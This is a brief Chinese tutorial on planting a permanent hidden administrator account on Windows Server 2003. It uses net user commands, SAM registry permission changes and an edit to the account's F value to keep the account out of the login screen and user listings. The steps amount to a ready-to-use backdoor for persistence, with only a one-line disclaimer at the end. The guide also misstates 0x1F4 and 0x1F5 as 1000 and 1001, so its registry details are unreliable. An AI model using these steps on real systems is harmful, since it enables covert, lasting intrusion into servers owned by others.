Windows Server 2003 建立永久隱藏帳號教學

原理說明

每個用戶帳號在登錄檔 HKEY_LOCAL_MACHINE\SAM\SAM 中都有對應項目。預設此項目不可見，需授權才能查看。關鍵識別碼：0x1F4 (1000) 為 Administrator，0x1F5 (1001) 為 Guest，其餘為後建帳號。

操作步驟

1. 開啟命令提示字元（管理員權限），建立隱藏帳號（帳號名以 $ 結尾）：
   net user hiddenuser$ P@ssw0rd /add
2. 將帳號加入 Administrators 群組：
   net localgroup administrators hiddenuser$ /add
3. 授權查看 SAM 登錄檔：
   在登錄編輯器中，右鍵 HKEY_LOCAL_MACHINE\SAM\SAM →「權限」→ 給予 Administrators 完全控制權限。
4. 刷新登錄編輯器，展開 SAM\SAM\Domains\Account\Users，找到新帳號對應的項目（如 000003E9）。
5. 修改該項目下的 F 值（二進位），將第 38 位（從 0 起算）設為 11（十六進位），即可使帳號在登入介面、控制台、net user 指令中完全隱藏，但仍具完整管理權限。

注意事項

• 修改登錄檔有風險，操作前請備份。
• 隱藏帳號名以 $ 結尾是慣例，非強制。
• 此技術僅供防禦研究與授權滲透測試使用，嚴禁非法入侵。